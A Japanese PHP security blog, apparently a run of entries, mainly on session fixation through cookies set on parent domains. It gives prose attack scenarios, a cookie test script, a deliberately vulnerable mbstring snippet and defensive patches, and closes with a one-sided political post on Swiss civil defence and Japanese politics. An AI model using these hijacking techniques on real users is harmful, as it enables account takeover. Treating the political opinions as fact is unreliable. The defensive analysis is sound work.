まだFirefox2を利用されている方は早急にFirefox3にバージョンアップした方が良いでしょう。このブログをご覧の方でも1割ほどが、まだFirefox2です。
国別TLDの属性ドメインにクッキーが設定できる問題は、少なくともFirefox2で修正されるべきでしたが、何故修正されなかったのか詳しい理由は知りません。この問題は.com, .netなどのgTLDの独自ドメインで運用しているサイトはあまり影響を受けないので、脆弱性の危険性が誤解され、放置されていたのかも知れません。
国別TLDの属性ドメインにクッキーが設定できるのも問題ですが、詳しくは後ほど説明しますが、古いブラウザは親ドメインのクッキーが優先されていましたが、最近のブラウザは子ドメインのクッキーが優先されるようになっています。この為、以前に比べて脆弱性の影響は随分減っています。
ブラウザ開発側の対応も褒められたものではありませんが、PHP開発側の対応はさらに酷いです。数年前、PHP 5.1.xの頃に、いい加減この脆弱性を修正しよう、とStefan Esser氏によりパッチ付きで修正案が提案されたのですが未だに修正されていません。私自身もPHP 4.4.9リリース前にPHP 4.4, PHP 5.2両方にセッションアダプション脆弱性を修正するよう、PHPセキュリティレスポンスチームに提案したのですが、予想通り修正されませんでした。脆弱性の危険性は説明したのですが、危険性を理解していないとしか思えません。
直らないものは仕方が無いので各自で対処するしかありません。各自で対策できるよう、個人Wikiではパッチも公開しています。
対処方法の前に、なぜこの脆弱性を最悪と考えているのか、理解していただく為に攻撃方法を紹介します。
攻撃方法1 - サブドメイン
レンタルサーバなどで独自にドメインを取得していない場合、サブドメインでサイトを区別している場合がよくあります。例えば、example.jpがレンタルサーバドメインでuserAやuserBのサイトは
userA.example.jp
userB.example.jp
となっているサービスが良くあります。クッキーの仕様的にはuserA.example.jp, userB.example.jp のどちらもexample.jp ドメインに対してクッキーを設定できます。しかも、example.jp にクッキーが設定されている場合、サブドメインのクッキーより優先されてしまう場合があります。レンタルサーバのFAQなどには「example.jp にクッキーを設定しないで下さい。全てのユーザに見えてしまいます」と記載されているところもあるようです。
つまり、PHPのセッションモジュールのデフォルトセッション名のPHPSESSIDに適当な値を設定するとサブドメイン共通のセッションIDが作れてしまいます。セッション名を変えて機械的な攻撃を防いだとしても、サイトを覗けばセッション名が直ぐに分かってしまいます。
ログイン時にsession_regenerate_id()を呼んでいても、セッションアダプションに脆弱なセッションモジュールでは意味がありません。親ドメインのクッキーが優先され、セッションIDは変わらない事があるからです。
例えば、悪意があるサイト、evil.example.jp は、被害者のユーザがevil.example.jp を訪問すると、そのユーザ「固有」のPHPSESSIDを有効期限2038年で設定します。攻撃者は既に発行済みのセッションIDで他人になりすまして、userA.example.jp, userB.example.jp 等、ログインできるサイトが無いか試すだけです。
userA.example.jp, userB.example.jp の様にユーザ毎にサブドメインを持つ場合、仮に全てのuserA, userB が信用できても各ユーザが利用しているアプリケーションにXSSが一つ有るだけで、example.jp 全体が危険にさらされる可能性があります。JavaScriptでクッキーの操作が可能だからです。
この例では、example.jpを利用していますがFirefox2に対してはexampleの部分がco,ac,orでも同じ攻撃ができました。つまり
example.co.jp, example.ac.jp, example.or.jp
などに共通のセッションIDを設定することが可能だったのです。この問題の影響範囲の大きさは説明する必要も無いと思います。
攻撃方法2 - 狙い撃ち攻撃
セッションアダプションに脆弱なPHPとその攻撃に対して脆弱なアプリケーションを利用すると、同僚や同級生など身近な人のセッションを乗っ取りは簡単です。
クッキーは通常テキストファイルに保存されています。知人がwww.example.com のサービスを利用しているとします。同僚・友人のPCに保存されているクッキーファイルを編集してexample.com に2038年まで有効なセッションIDを書くだけです。
クッキーファイルは編集可能なので、隙を見て編集するだけです。有効期限を比較的短めに設定すればキーロガーのように証拠も残りませんし、ネットワークに不審なパケットも流れません。
セッションアダプションに脆弱なPHPを利用しているなら、session_regenerate_id()を呼び出しているPHPアプリでも攻撃できます。クッキーを保存しているファイルを読み込み専用にするだけで、セッションIDクッキーの再設定を防き、セッションIDの固定化が可能です。
サーバ側の防御方法
セッションアダプション脆弱性を無くすのが第一です。何年も前から筆者のWikiにて、Stefan Esser氏が作成したパッチを多少修正して公開しています。
http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession
このパッチだけでは実際に攻撃された時、ログインできなくなる、などの問題が発生します。次の「アプリの防御方法」の対策も必要です。
パッチを適用するだけで、攻撃パスを無効化できます。成りすましは防げるようになりますが、DoSの可能性が新たに生まれます。詳しくは次の「アプリの防御方法」を参照してくだい。
アプリの防御方法
セッションアダプションに脆弱なセッションモジュールでは完全な対策は取れません。しかし、セッションアダプションに脆弱なセッションモジュールを使っていても防御効果は期待できます。
www.example.co.jp にセッションIDを設定する場合、www.example.co.jpにセッションIDを設定する前にexample.co.jp, co.jp, jp(TLDですが念のため)に設定されているかも知れないセッションID用のクッキーを削除します。(過去の有効期限の空クッキーを送る)ログイン時には必ず上位ドメインのセッション管理用のクッキーをクリアした上で、新しいセッションIDを発行するようにします。これで多くの攻撃を防げます。これでかなり安全になるのですが、このようなクッキー削除を行っているアプリケーションはほとんどありません。
上位ドメインのクッキー削除を怠ると、パッチ済みのPHPではセッションIDの更新ができなくなります。初期化済みのIDを用意しても、ブラウザが繰り返し未初期化のIDを送信するからです。上位ドメインのクッキーを削除しないとDoS状態になってしまう事があります。パッチの有無に関わらず、上位ドメインのクッキーを削除すべきです。
セッションID管理用のクッキー名を変更するのも気休めにはなります。セッション管理用のクッキー名は公開情報なので、この対策は本気の攻撃者には無意味ですが、特定の攻撃目標を設定していない攻撃者には有効な防御策です。
アプリケーションがどれくらいPHPのセッションアダプション脆弱性に対して弱いのか調べるのは簡単です。ログイン時に実行すべきセッションIDを再生成するsession_regenerate_id()、上位ドメインのセッションIDクッキーを削除するsetcookie()が実行されているかどうか調べるだけです。強固なセキュリティが要求されるWebmailシステムですが、PHPベースのWebmailシステムで最も広く利用されていると思われる2つのシステム、SquirrelMailとRoundCubeをチェックしてみました。2つともsession_regenerate_id()さえ呼び出していません。
Webmailシステムの場合、http://webmail.example.com/ や http://www.example.com/webmail など形式のURLを持っています。Webmail自体、XSS脆弱性が度々発見されています。仮にWebmailにXSS脆弱性がなくても、サイトのどこかにXSS脆弱性が1つ有るだけで、セッションアダプション脆弱性を悪用するために有効期限の長いセッションIDを設定され、長期間ユーザに知られる事無くセッションが盗まれる(成りすまされる)リスクが非常に高いです。
通常、XSS脆弱性だけではログインしている場合のセッションIDしか盗めません。しかし、セッションアダプションに脆弱なセッション管理の場合、永続的にセッションを盗む事を可能にします。
ユーザの防御方法
定期的にクッキーを全部削除したり、保存されているクッキーを確認する方法が有効ですがあまり現実的ではありません。
クッキーがどのように処理されるかはブラウザとフレームワークによって異なります。参考までにどのブラウザが比較的安全か調べてみました。
cookie.php
<?php
if (!empty($_GET['set'])) {
setcookie('var','jp',time()+400,'/','jp');
setcookie('var','co.jp',time()+400,'/','co.jp');
setcookie('var','example.co.jp',time()+400,'/','example.co.jp');
setcookie('var','www.example.co.jp',time()+400,'/','www.example.co.jp');
}
echo "<pre>";
var_dump($_COOKIE);
hostsファイルで、jp, co.jp, example.co.jp, www.example.co.jp をホスト名としてアクセス出きるように設定し、ブラウザからhttp://www.example.co.jp/cookie.php にアクセスして動作を調べてみました。
詳しく各ブラウザの動作を調べていないので、もし古いOperaの様にIPアドレスが引けないドメインに対してクッキーを設定しない動作をしているのであれば、実際の動作と異なる事になります。(co.jpなどは普通IPアドレスが設定されていない)しかし、スピア型の攻撃は可能なので参考にはなると思います。
MomongaLinux5 64bit
| Firefox 3.0.5 | www.example.co.jp のクッキーが優先される |
| Konqueror 4.1.0 | www.example.co.jp のクッキーが優先される |
WindowsXP 32bit
| Firefox 2.0.20 | co.jp のクッキーが優先される |
| Internet Explorer 6.0 SP2 | example.co.jp のクッキーが優先される |
| Internet Explorer 7.0 | クッキーが設定されない。example.co.jp には設定される。 |
| Internet Explorer 8.0 beta1 | example.co.jp のクッキーが優先される |
| Safari 3.2.1 | co.jp のクッキーが優先される。 |
| Opeara 9.5.0 | www.example.co.jp のクッキーが優先される。 |
| Google Chrome 1.0.154.43 | example.co.jp のクッキーが優先される |
このテスト結果からは、SafariとFirefox2の動作が極めて悪い動作であることが分かります。
これらの動作は、クッキーの設定順序なども動作に影響しているかも知れません。次の「クッキーの実装がいい加減な理由」を見て頂ければ分かりますが、どのように動作するのかはブラウザの実装が関係しています。
実際のWebアプリケーションがどのように振る舞うかは、Webアプリケーションが利用しているフレームワークの実装に影響されます。PHPの場合はPHP本体がクッキーのデコードを行い配列($_COOKIE)に保存するので、フレームワークによって動作が変わることはありません。他の言語の場合、クッキーのデコードはフレームワークが行うので同じ言語でもフレームワークが異なると動作が異なるでしょう。
PHPで作られたアプリケーションの場合、Firefox3, Konqueror, Operaを利用している方がより安全であることが分かります。
クッキーの実装がいい加減な理由
現在のクッキーの実装はNetscapeのクッキー仕様となっています。手抜きで調べていないので、間違っていたら指摘していただきたいのですが、たしかNetscapeの仕様では複数のクッキーが設定されている場合、どういった順序で送信するのか決まっていません。パス、ドメインなどで複数のクッキーを設定することは簡単です。
以下はFirefox3でcookie.phpにアクセスした時のHTTPリクエストヘッダです。
GET /cookie.php HTTP/1.1
Host: www.example.co.jp
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.0.5) Gecko/2009011916 Momonga/3.0.5-1m.mo5 Minefield/3.0.5 FirePHP/0.2.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: Shift_JIS,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: var=www.example.co.jp; var=example.co.jp
複数クッキーが設定されている場合、どのような条件で設定されたか判別する情報なしに列挙されている事がわかります。
他のブラウザでは試していませんががFirefox3ではcookie.phpのクッキー設定順序を反対にして試してみました。クッキーの設定順序に関係なく、この順番に送信されるようです。Firefox3の場合、優先順位が高いと思われるクッキーが先に書かれていると思われます。
PHPでは最初に現れたクッキーが優先されるので、PHP+Firefox3の組み合わせは比較的安全に利用できることが分かります。
繰り返しになりますが、Firefox3であれば全てのフレームワークが比較的安全に利用できるとは仮定できません。フレームワークのクッキー初期化の仕様によります。他の言語のフレームワークでの動作も調べたかったのですが、手抜きで調べていません。調べた方がいらっしゃる場合は是非教えてください。
まとめ
個人的にはこの脆弱性は既知のPHPの脆弱性の中では、影響範囲、攻撃の難易度、攻撃された場合の検出可能性などを総合的に評価して、最悪の脆弱性だと思っています。パッチは何年も前から公開されています。しかし、セッションアダプションを修正したパッチを適用したPHPビルドを採用しているディストリビューションは見たことがありません。(過去のMomongaLinuxを除く。今のMomongaLinuxにはパッチは当ててありません...)
PHPセキュリティレスポンスチームに連絡しても、残念ながら無駄な努力に終わるので、利用されているディストリビューションに問題を報告して、パッチを適用するようにお願いするのが脆弱性対策のもっとも近道だと思います。
パッチを適用していても、アプリケーション側で上位ドメインのクッキーを削除するコードを追加する対策も必ず行う必要があります。これを怠ると、上位ドメインにクッキーを設定するだけでDoSが可能になります。
この脆弱性を利用すると、セッションアダプションに脆弱なサイトに対して非常に簡単に成りすましが可能になります。出来心で他人に成りすまし、人生を棒に振らないようにしてください。
参考
http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession
http://wiki.ohgaki.net/index.php?PHP%2F%E8%84%86%E5%BC%B1%E6%80%A7%E3%83%AA%E3%82%B9%E3%83%88%2FPHP4
http://wiki.ohgaki.net/index.php?PHP%2F%E8%84%86%E5%BC%B1%E6%80%A7%E3%83%AA%E3%82%B9%E3%83%88%2FPHP5
http://www.futomi.com/lecture/cookie/specification.html
http://www.faqs.org/rfcs/rfc2109.html
http://www.faqs.org/rfcs/rfc2965.html
モデレーション待ちのフィードバック
この投稿にはモデレーション待ちのフィードバックが 1 件あります....
コメントを残す
PHP4.4.9のセキュリティ状態
PHP4のサポートは2008/8/8を持って終了しました。サポート終了に合わせて、最後のPHP4リリースとなる4.4.9がリリースされています。サポートが終了していますが、稼動中のPHPの半分はまだPHP4であるとる統計情報もあり、まだまだ現役です。
PHPプロジェクトのサポート終了したため、PHP 4.4.9のセキュリティ脆弱性はCVEなどでも報告されなくなりました。この為、普通にセキュリティ情報を収集していてもPHP4.4.9に対する脆弱性情報は入手できません。
...
私の会社とSRA OSS Incと協力してPHP4のセキュリティパッチを独自に提供するサービスを行っています。このサービスの対応している脆弱性をWikiにまとめています。ほとんどの既知の脆弱性に対応していると同時に日本語ユーザが必要とする機能もバックポートしています。
サポートしている脆弱性の概要は、WikiのPHP/脆弱性リスト/PHP4をご覧下さい。
まだまだ、SQLインジェクションが無くなっていない事は非常に残念です。PHP4で作られたWebアプリケーションはSJISやEUCを文字エンコーディングに利用している為、文字エンコーディングベースのSQLインジェクションに脆弱なWebアプリケーションもかなり多くあると思われます。
Wikiのページを見ると文字エンコーディング関連の脆弱性が多く有ることが分かります。PHPセキュリティレスポンスチームにはPHP4サポート終了前に、脆弱性情報と共にパッチも提供し一部は修正されたのですが、残念ながら文字エンコーディング関連の脆弱性修正に必要な関数のバックポートなどは全く行われませんでした。
商用サービスをPHP4で提供されて、もうしばらくPHP4を利用される予定でいる方は、ライセンスも緩く使いやすいのでSRA OSS IncのPHP4セキュリティ保守サービスを検討されてもよいかも知れません。
1 コメント
PHPの大幅な仕様変更が必要な修正にも対応していません。PHP言語エンジンであるZendエンジンがリソースの参照数を管理していない為に解放済みのポインタにアクセスできてしまう脆弱性、に対応していません。こちらも、攻略用のスクリプトを実行しないとならないので、簡単に第三者が攻撃できる脆弱性ではありません。
セキュリティ上の問題でも修正できない問題にも対応していません。こちらは、Wikiの「PHP/脆弱性リスト/メモ」のページをご覧下さい。このページにはソース配布版のデフォルト設定でセキュリティ上問題となるphp.ini設定なども含めています。ディストリビューションによってphp.ini設定は異なるので全てのPHP環境に当てはまる問題ではありませんが、チェックする方が良いです。
コメントを残す
文字エンコーディングとセキュリティ(3)
リンク: http://gihyo.jp/dev/serial/01/php-security/0021
gihyo.jpのブログ型の連載である「なぜPHPアプリにセキュリティホールが多いのか?」の
http://gihyo.jp/dev/serial/01/php-security/0021
で、PHPのサンプルコードを書いているのに「JavaScriptなど」とJavaScript用のサンプルコードであるかの様に書いていました。
JavaScript -> PHPに書き換えても良いのですが、両方JavaScriptのサンプルを掲載するように編集者の方に依頼しておきました。
ご指摘頂いた方、ありがとうございます。
1 コメント
後で気が付いたのですが、サンプル自体が変です。HTMLの場合、本文でもエスケープ文字が"¥"の言語の場合、と書いているのにHTMLのエスケープ文字は違うので。どうして、そんな変な思い違いをしていたのか調べてみると、昔PHPコードを生成した場合にPHPとHTMLが混ざったコードでサンプルを書いました。記憶が曖昧になっておかしな事を書いていました。
# 人間の記憶はいい加減なので簡単なサンプルでも
# ちゃんとチェックしないとならないですね。
意味で読んでしまっていると、先入観の為に間違いに気がつきにくいです。プログラムを実行してみてはじめて分かるバグのようなものですが、文章だとプログラムほど寛容に扱ってもらえないのが困る所です。
コメントを残す
ZendFrameworkで作る『イマドキ』のWebアプリケーション
リンク: http://gihyo.jp/dev/serial/01/zf-ajax
技術評論社さんのPHPセキュリティ関連のブログ、なぜPHPアプリにセキュリティホールが多いのか?も執筆させて頂いていますが、新しくZendFrameworkで作る『イマドキ』のWebアプリケーションも執筆させていただくことにになりました。
今回の連載では私のブログでフィードバックや質問をお聞きしようと考えています。一般的な質問はMLなどでお聞き頂けるようお願いしますが、動作しない、動作がおかしい、説明がわかりづらい、これを説明してほしい、など記事に関連するご意見やご質問をお待ちしています。
Wikiにサポート用のページも用意しました。Wikiにはまとめや必要なリソースへのリンクなどを掲載します。
http://wiki.ohgaki.net/index.php?ZendFramework-Web-Application
今回、連載を開始するにあたりLinux, Mac, Windowsでできる限り同じ環境が作れるように工夫してみました。
当初はXAMPPをベースとした環境にしようと思ったのですが、64bit版が用意されていないのは現在のPC環境を考えると好ましくありません。そこで、PostgreSQLのバイナリ配布版であるPostgreSQL One-Click Installerを利用した環境を利用することにしました。PostgreSQL One-Click Installerを利用すると、Linux, Mac, Windowsでほぼ同じApache/PHP/PostgreSQLの動作環境を構築できます。
CentOS5を利用している環境が公開可能であるため、VMwareイメージも公開しています。VMwareイメージには以下のパッケージが含まれ、必要な設定が行われています。
- CentOS 5.2
- Apache 2.2
- PHP 5.2
- ZendFramework 1.7
- PostgreSQL 8.3
- Eclipse 3.4
- Mercurial 1.1
ダウンロード先など、詳しい情報はWikiをご覧下さい。
フィードバックはまだありません...
コメントを残す
エンティティ化された文字による任意コード実行
小泉さんが発見され昨年末に公開された脆弱性です。詳しくはアドバイザリをご覧いただくとして概要を解説します。
CVE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5557
アドバイザリ
[Full-disclosure] CVE-2008-5557 - PHP mbstring buffer overflow vulnerability
かなり特殊な設定といえる状況で問題となるようですが、ちょうどgihyo.jpで文字エンコーディングに関連したセキュリティ問題を解説しているので紹介します。
http://gihyo.jp/dev/serial/01/php-security/0019
http://gihyo.jp/dev/serial/01/php-security/0020
...
CVE-2008-5557では
Impact
CVSS Severity (version 2.0):
CVSS v2 Base Score:10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C) (legend)
Impact Subscore: 10.0
Exploitability Subscore: 10.0
CVSS Version 2 Metrics:
Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
となっていてかなり危険なように見えますが、この問題を攻撃する為に必要な前提条件はかなり限定的です。
小泉さんのアドバイザリによれば、影響を受ける関数は以下の関数です。
- mb_convert_encoding()
- mb_check_encoding()
- mb_convert_variables()
- mb_parse_str()
リモートから簡単攻撃するためには、php.iniなどで以下のような設定が行われている必要があります。
mbstring.encoding_translation=on
mbstring.http_input=HTML-ENTITIES
mbstring.internal_encoding=UTF-8
通常、入力文字エンコーディングにHTML-ENTITIESを設定することはあり得ないのでmbstringを組み込んでいるだけで攻撃されることはまずありません。
gihyo.jpの記事を書いたときは、まだこの脆弱性を知りませんでしたが「エンコーディングと名前が付くものには脆弱性があると考え他方が安全」と書いています。ちょうどタイムリーに自分でも予想していなかったHTML-ENTITIESエンコーディングが攻撃に利用できる脆弱性が公開されたので少し変な気分です。
1 コメント
上の記事は、若干誤解を招くような気がします。
前にも説明した気がするのですが、入力文字エンコーディングをクエリ文字列で指定するようなアプリケーションがあった場合にはいずれにしても脆弱になります。
<?php
echo htmlspecialchars(mb_convert_encoding($_REQUEST['input'], 'UTF_8', $_REQUEST['in_enc']), ENT_QUOTES);
?>
コメントを残す
現行版のPHPに任意メモリ参照バグ - 攻撃コード付き
随分前から共有型Webホスティングサービスでは安全性を確保できないので、安全性を重視するサイト(ECなど)は最低限でも仮想ホスト型の共有サービスを利用すべきである、と言っています。
今回のエントリはPHPをApacheモジュールで共有型ホスティングサービスを利用しているユーザに影響します。SSLを利用している場合は秘密鍵を盗まれます。このバグはPHP 5.2.8でも修正されていません。当然ですがPHP 4.4.9でも修正されていません。
...
Milw0rmのアドバイザリ
http://www.milw0rm.com/exploits/7646
には、そのまま使える、任意のアドレスのデータを参照するコードまで付いています。秘密鍵を盗むことは簡単です。
誤解してはならない事ですが、これはPHPに限った問題ではありません。PHPでは度々このようなバグがセキュリティ問題として報告されています。これは、PHPがApacheのモジュールとして実行され、複数のユーザが共有して利用している環境が多いからです。Webサーバモジュールとして動作している言語に共通の問題です。mod_perl、mod_python、mod_rubyを利用している場合でもメモリ参照可能な仕様やバグがあります。
PHPの場合、共有環境でなくても、リモートスクリプト実行が可能な場合は、この攻撃でメモリ上に展開されている重要な情報、辞書攻撃によるパスワードクラックを防止する為のsalt、などが漏洩する可能性があります。
参考:
CVE-2008-5498
https://www.ircert.cc
4 コメント
CVSにパッチはありました。
GD自体のメンテナンス状態もかなり怪しいのですが、ディストリビューションは独自のセキュリティパッチでGDに当てている事がほとんどです。なので
./configure --with-gd=/usr --with-jpeg-dir=/usr --with-zlib-dir=/usr
といった感じでシステムのGDライブラリを使っていれば大丈夫な事も多いです。
確かめていませんが、この問題は本来GDの問題なのでshuhosinでは対応できないと思います。
コメントを残す
PHP開発者とユーザが知っておくべきシェルコマンドエスケープの内部処理
これから紹介する脆弱性はPHP 5.2.6で修正されています。修正された、とは言え注意が必要です。
PHPは古くからシェルコマンドとシェル引数をエスケープ処理する為に、escapeshellcmd関数とescapeshellarg関数を提供しています。
この関数はマルチバイト文字にも対応しているのですが、ビルドや環境によっては対応できていないときがあります。
...
escapeshellcmd/escapeshellarg関数ではC99で定義されてるmblen関数を利用しています。一般的なUNIX系システムではmblen関数は利用可能でると考えられるので、問題となる事は少ないと思いますが、PHPではphp_mblenマクロが以下のように定義されています。
#ifndef HAVE_MBLEN # define php_mblen(ptr, len) 1 #else # if defined(_REENTRANT) && defined(HAVE_MBRLEN) && defined(HAVE_MBSTATE_T) # define php_mblen(ptr, len) ((ptr) == NULL ? mbsinit(&BG(mblen_state)): (int)mbrlen(ptr, len, &BG(mblen_state))) # else # define php_mblen(ptr, len) mblen(ptr, len) # endif #endif
escapeshellcmd/escapeshellargもphp_mblenを使用しています。mblenが利用できない場合、escapeshellcmd/escapeshellargマルチバイト文字のチェックが行われません。
php_mblenの以下のように利用されているので、チェックされていないことは明白です。(追記:mblenは不正なエンコーディングで負の値を返します)
for (x = 0; x < l; x++) {
int mb_len = php_mblen(str + x, (l - x));
/* skip non-valid multibyte characters */
if (mb_len < 0) {
continue;
} else if (mb_len > 1) {
memcpy(cmd + y, str + x, mb_len);
y += mb_len;
x += mb_len - 1;
continue;
}
mblenが利用できるシステムでも、mblenやmbsinitの動作はロケールによって決まります。具体的にはLC_CTYPEの設定により変わります。コマンドがどのように実行されるかによって、エスケープ処理が無効となる場合があります。
例えば、WebサーバがCロケールで動作していて、コマンドがSJISで動作している場合、ユーザ入力をコマンドに渡していると危険です。
参考: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2051
2 コメント
今年は、できるだけセキュリティ関連のエントリを書こう、と思っていますが、どうなるかは分かりません。
環境変数の内容をスクリプトの実行環境に反映するには、
setlocale(LC_ALL, "");
をスクリプトの最初に実行しなければなりません。
この動作に関してはいつのまにかマニュアルに記載されていますね。
コメントを残す
2009年に流行るもの
新年あけましておめでとうございます。
去年、1月に2008年に流行るものとして64bit OSを挙げています。
http://blog.ohgaki.net/2008/1/
2007年には64bit OSはまだ、珍しい感じがありましたが2008年は普通になったと思います。しかし、まだ当たり前に使われる状態にまではなっていません。Macは完全に64bit/32bit環境は統合されています。LinuxでもFedora10では64bit版でも32bit版とのアプリケーション互換性が大幅に向上しています。Windowsの場合は32bit版, 64bit版の間で互換性の問題があるため敬遠されていますが、8GBのメモリが標準的なれば、MSがPAEをVistaでサポートしない限り64bitが普及することでしょう。
さて、2009年に流行るものとして「Webアカウントへの不正アクセス」を予想しています。2008年もSQLインジェクションなどの攻撃で不正取得したアカウント情報で、不正アクセスを行ったのではないか、と思われる事例が大量に発生していました。しかし、今年は更に多くの不正アクセスが行われるのではないか、と予想しています。昨年はプロの犯罪者による大量の不正アクセスがありましたが、プロの犯罪者の犯行も増えると思いますが、今年はセミプロやアマチュアと言える犯罪者による不正アクセスが増えるのではないか、と予想しています。
Webのアカウントには同じパスワードを使わないようにしましょう!
2 コメント
コメントを残す
パスワードハッシュはsaltと一緒にハッシュ化する
このタイトルにするとsaltとは、という議論をもう一回する事になるのかもしれませんが、最も近い用語はsaltだと思うので、saltを用語として使います。
随分前からパスワードハッシュはユーザが提供したパスワードと、システムが保持している秘密のランダム文字列と一緒にハッシュ化する方がより安全である、と言っていました。異論がある方もいらしたのですが、どうしてより安全となるのか、場合によっては比べ物にならないくらい安全になるのか、良く分かるビデオを見つけたので紹介します。
...
(音が大きいので注意!)
このビデオを見ると、SQLインジェクションでWebフォーラムのハッシュ化ユーザパスワードを盗み取り、レインボーテーブルを提供しているサイトを利用して「ランダム文字列のパスワード」を解析し、SQLインジェクション情報を提供していたセキュリティ関連フォーラムへの侵入も成功させてしまった事がわかります。
このビデオから理解するべき教訓は
- パスワードハッシュは秘密のランダム文字列を一緒にハッシュ化して保存する
- ランダム文字列でも6文字程度では平文と変らない(事もある)
- Webサイト毎に別のパスワードを利用する
です。
どれも随分前から機会がある度にこうすべき、と話していたことばかりです。
もし、実践されていないのであれば、出来る限り早く実践される事を強くお勧めします。
フィードバックはまだありません...
コメントを残す
スイス政府の「民間防衛」
リンク: http://www.geocities.com/nokan2000nokan/switz/page01.html
スイス政府が作成した「あらゆる危険から身を守る 民間防衛」を紹介しているページをたまたま見つけました。この本の存在は聞いたことがありますが、キャッチフレーズは知りませんでした。「あらゆる危険から身を守る」といったキャッチフレーズに反射的に「ワンクリックで購入する」しました。
スイスが外国を侵略しないが侵略もさせない、としている永世中立宣言をしている国であることは良く知られていると思います。国際紛争解決の手段として戦争を放棄している日本とは、ある意味同類の共感を得る国でもあります。そんな国が国防の為に国民に配っている本であれば一読に値すると思い購入しました。まだ、本は来てもいないし、読んでいないので無責任と言われるかも知れませんが、民間防衛を紹介しているページで引用されている部分の一部を紹介します。引用されている内容は、日本がとるべき態度、日本で起こっている状況、だと思えてなりません。
われわれを取り囲む国々が武装し続ける限り、われわれは国家の防衛を怠ることはできない。
当然の論理です。犯罪がなくならない限り、警察をなくせないのと同じです。
われわれは、にせ平和主義者たちが、武装するのをやめないでいることを確認している。われわれの信念は誠実なものである。われわれは、だれ一人殺そうとするつもりはないが、ただ正当防衛を確保しなければならぬ。
独立を保ち、主権を守ることは簡単な事ではありません。それは世界史を少しでも勉強すれば、誰でも解る事です。よく「日本は平和ボケしている」と言われます。日本の自治体が行っている「無防備都市宣言」をスイスの方に聞くと、どのような反応をするのでしょう。
もし外国勢力がスイスを攻撃しようと欲しているのなら、彼らは、スイスの報道機関の態度が仮に友好的であったとしても攻撃をかけてくるだろう。大切なことは、われわれ国民が、外的のどのような圧力にも、どのような脅しにも、屈することなく反撃できるように、毎日心がけていることである。
われわれは、自己の運命は自分自身で決定したいと、他人に指図されたくないと、常に願っている。
"友好"だけ考えた外交を行えば、日本の国益が守れる、と考えている報道が多すぎです。日本の国益には国民の生命、財産、権利や尊厳も含まれています。国益と言うと外交だけであり、個人の生活に直接影響しない、などと考えているのは間違いです。
新聞、出版物、ラジオ及びテレビは、このような心理戦争の段階に於いては、まさに決定的な役割を果たすものである。そのため、敵は、編集部門の主要な個所に食い込もうとする。われわれ国民はこれに警戒を怠ってはならない。敵を擁護する新聞、国外から来た者を擁護する新聞は、相手にしてはならない。われわれは、われわれの防衛意識を害するあらゆる宣伝に対して抗議しよう。
「敵を擁護する新聞」「国外から来た者を擁護する新聞」「防衛意識を害する宣伝」ばかりなのが日本の新聞ではないでしょうか?新聞だけでなく政党ですら「敵を擁護する政党」「国外から来た者を擁護する政党」「防衛意識を害する政党」ばかりなのが日本の政党ではないでしょうか? 戦争は無い方が良いに決まっていますが、日本を敵国として扱ってる国ばかりに囲まれているのが日本です。
全体主義諸国による大規模な“平和攻勢”において、彼らは、スイス国民の幸福を願い、また、人類の、より一層の幸福と安全のために、われわれと協力しようと言っている。全てが結構ずくめである。われわれは、世界の全ての国と平和に生きること以上に、何を希望することもない。しかしながら、われわれの知っているこれまでの経験は、われわれ自身の運命を他人に再びまかせてはならぬ、ということを教えてくれる。
われわれに対して、外国から次のような呼びかけがある。
まず、スイスの兵士をそれぞれの家庭に帰そうではないか。国境に集結していても無駄ではないか。家庭に、なすべきことが待っている、と。
これに対して、われわれは次のように答える。
それはわれわれ自身の問題で、他国の知ったことではない、と。
日教組が行っている教育のキャッチフレーズ「教え子を戦場に送るな」その物です。「平和攻勢」は日教組を含む左翼団体が良く行っています。不思議なのは、日本を守っている自衛隊と米軍への抗議は頻繁に耳にするのですが、日本を敵国と位置づけている北朝鮮が日本人を拉致しても、弾道ミサイルを日本の上空を超えて打ち込んでも「平和攻勢」を行う団体は抗議しません。同じように、中国の核兵器を積んだ原子力潜水艦が領海侵犯しても、米軍の為に特別に狭い領海を設定している津軽海峡を中国の駆逐艦が横断しても、「平和攻勢」をかける団体が中国政府に抗議したとニュースを聞きません。本当に平和を望むなら、日本を敵国として軍備を行っている国に対して抗議すべきでしょう。
「民間防衛」を読むのが楽しみです。多くの日本人が読めば日本が変わる本なのかも知れません。
3 コメント
とりあえず、日米安保解消でもして自立した国家にでもならないと意識改革は難しそうです。現状、本当にアメリカの51番目の州ですからね。
またマスメディアがその国の国民レベルを表してると思います。マスメディアが誘導してるとも言えますが。
もし日本が完全に平和国家で、軍隊廃止でもしたらどうなるだろう。南米のある国は完全に軍隊をなくしたらしいが、正直魅力もない国に攻める国はない。その魅力が日本にあるか。あると言えばあるし、ないと言えばないかもしれない。
一番典型的なのはやはり石油などの資源の豊かな国は狙われやすい。日本は、資源はないが技術はある。でも、技術を盗むのにわざわざ侵略しなくても、産業スパイでも潜り込ませた方が楽かもしれない。
それにしても、隣の県、隣の州とはケンカしないのに、どうして隣の国とはケンカするんだろう。国ってなんだろう、と思ったり。なんかデメリットも多い気がしてならない。国という枠組みが、同時に敵を作っている、というような。
戦時下であっても地方自治体が日本国政府の合意の無いままで勝手に宣言した場合、「敵国に対して軍事上の利益を与えようとし、もしくは与えた」とみなされて宣言した自治体首長が内乱罪や外患誘致罪、外患援助罪の容疑で告訴・処罰される可能性がある。
http://ja.wikipedia.org/wiki/%E7%84%A1%E9%98%B2%E5%82%99%E9%83%BD%E5%B8%82%E5%AE%A3%E8%A8%80 無防備都市宣言
と、違法である可能性が指摘されていますが、幾つかの自治体で可決され、多くの自治体で準備中のようです。ちなみに、外患誘致罪で有罪になれば罰則は死刑しかありません。
無防備地域宣言運動への反論 / 今村岳司(西宮市議会議員)
1. 条例を制定することが法的にできない。
2. もし条例を制定したとしても、その条例に基づいて無防備地域宣言をすることが、制度上できない。
